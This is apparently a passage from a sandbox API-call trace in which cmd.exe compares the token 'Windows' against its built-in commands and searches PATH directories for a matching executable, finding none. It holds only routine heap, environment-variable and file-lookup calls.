_wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.732] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.732] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.732] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.732] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.732] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.732] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.732] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.732] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.732] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.732] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.732] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.732] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.732] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.732] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.732] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.732] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.733] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.733] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.733] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.733] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.733] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.733] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.733] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.733] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.733] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.733] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.733] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.733] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.733] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.733] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0231.733] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.733] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.734] GetProcessHeap () returned 0x20b0f920000 [0231.734] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0231.738] SetErrorMode (uMode=0x0) returned 0x0 [0231.738] SetErrorMode (uMode=0x1) returned 0x0 [0231.738] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0231.738] SetErrorMode (uMode=0x0) returned 0x1 [0231.738] GetProcessHeap () returned 0x20b0f920000 [0231.738] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0231.738] GetProcessHeap () returned 0x20b0f920000 [0231.738] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0231.738] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.738] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.738] GetProcessHeap () returned 0x20b0f920000 [0231.738] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947c10 [0231.738] GetProcessHeap () returned 0x20b0f920000 [0231.738] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0231.739] GetProcessHeap () returned 0x20b0f920000 [0231.739] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0231.739] GetProcessHeap () returned 0x20b0f920000 [0231.739] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0231.739] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.739] GetProcessHeap () returned 0x20b0f920000 [0231.739] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947550 [0231.739] GetProcessHeap () returned 0x20b0f920000 [0231.739] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947550, Size=0x7e) returned 0x20b0f956d90 [0231.739] GetProcessHeap () returned 0x20b0f920000 [0231.739] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956d90) returned 0x7e [0231.739] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.739] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cf70 [0231.739] FindClose (in: hFindFile=0x20b0f92cf70 | out: hFindFile=0x20b0f92cf70) returned 1 [0231.740] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.740] GetLastError () returned 0x2 [0231.740] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.740] GetLastError () returned 0x2 [0231.740] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.740] GetLastError () returned 0x2 [0231.740] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.740] GetLastError () returned 0x2 [0231.740] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.741] GetLastError () returned 0x2 [0231.741] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.741] GetLastError () returned 0x2 [0231.741] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.741] GetLastError () returned 0x2 [0231.741] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.741] GetLastError () returned 0x2 [0231.741] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.741] GetLastError () returned 0x2 [0231.741] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.741] GetLastError () returned 0x2 [0231.742] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.742] GetLastError () returned 0x2 [0231.742] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.742] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.742] GetLastError () returned 0x2 [0231.742] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.742] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d210 [0231.742] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0231.743] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.743] GetLastError () returned 0x2 [0231.743] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.743] GetLastError () returned 0x2 [0231.743] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.743] GetLastError () returned 0x2 [0231.743] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.743] GetLastError () returned 0x2 [0231.743] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.743] GetLastError () returned 0x2 [0231.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.744] GetLastError () returned 0x2 [0231.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.744] GetLastError () returned 0x2 [0231.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.744] GetLastError () returned 0x2 [0231.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.744] GetLastError () returned 0x2 [0231.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.744] GetLastError () returned 0x2 [0231.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.745] GetLastError () returned 0x2 [0231.745] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.745] GetLastError () returned 0x2 [0231.745] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.745] GetLastError () returned 0x2 [0231.745] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.745] GetLastError () returned 0x2 [0231.745] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.745] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.746] GetLastError () returned 0x2 [0231.746] ??_V@YAXPEAX@Z () returned 0x1 [0231.746] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0231.746] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.746] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.746] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.746] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.747] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.747] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.747] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.747] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.747] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.747] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.747] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.747] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.747] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.747] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.747] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.747] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.747] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.747] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.747] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.747] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.747] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.748] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.748] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.748] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.748] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.748] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.748] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.748] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.748] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.748] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.748] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.748] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.748] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.748] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.748] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.748] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.748] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.748] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.748] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.748] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.748] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.748] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.748] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.748] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.748] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.748] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.748] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.748] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.748] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.748] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.748] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.749] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.749] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.749] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.749] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.749] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.749] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.749] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.749] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.749] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.749] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.749] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.749] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.749] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.749] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.749] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.749] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.749] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.749] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.749] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.749] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.749] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.749] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.749] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.749] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.749] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.749] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.749] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.749] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.749] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.750] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.750] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.750] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.750] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.750] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.750] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.750] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.750] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.750] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0231.750] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0231.750] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0231.750] ??_V@YAXPEAX@Z () returned 0x1 [0231.750] GetProcessHeap () returned 0x20b0f920000 [0231.750] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0231.750] GetProcessHeap () returned 0x20b0f920000 [0231.750] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc4) returned 0x20b0f957c00 [0231.751] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0231.751] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.751] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.752] GetProcessHeap () returned 0x20b0f920000 [0231.752] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0231.753] SetErrorMode (uMode=0x0) returned 0x0 [0231.753] SetErrorMode (uMode=0x1) returned 0x0 [0231.753] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0231.753] SetErrorMode (uMode=0x0) returned 0x1 [0231.753] GetProcessHeap () returned 0x20b0f920000 [0231.753] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0231.753] GetProcessHeap () returned 0x20b0f920000 [0231.753] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0231.753] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.753] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.753] GetProcessHeap () returned 0x20b0f920000 [0231.753] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947a50 [0231.753] GetProcessHeap () returned 0x20b0f920000 [0231.753] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0231.753] GetProcessHeap () returned 0x20b0f920000 [0231.753] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0231.753] GetProcessHeap () returned 0x20b0f920000 [0231.753] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0231.753] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.753] GetProcessHeap () returned 0x20b0f920000 [0231.753] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947280 [0231.753] GetProcessHeap () returned 0x20b0f920000 [0231.753] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947280, Size=0x7e) returned 0x20b0f956880 [0231.753] GetProcessHeap () returned 0x20b0f920000 [0231.753] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956880) returned 0x7e [0231.754] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.754] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cc70 [0231.754] FindClose (in: hFindFile=0x20b0f92cc70 | out: hFindFile=0x20b0f92cc70) returned 1 [0231.754] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.754] GetLastError () returned 0x2 [0231.755] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.755] GetLastError () returned 0x2 [0231.755] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.755] GetLastError () returned 0x2 [0231.755] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.755] GetLastError () returned 0x2 [0231.755] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.756] GetLastError () returned 0x2 [0231.756] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.756] GetLastError () returned 0x2 [0231.756] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.756] GetLastError () returned 0x2 [0231.756] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.756] GetLastError () returned 0x2 [0231.756] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, 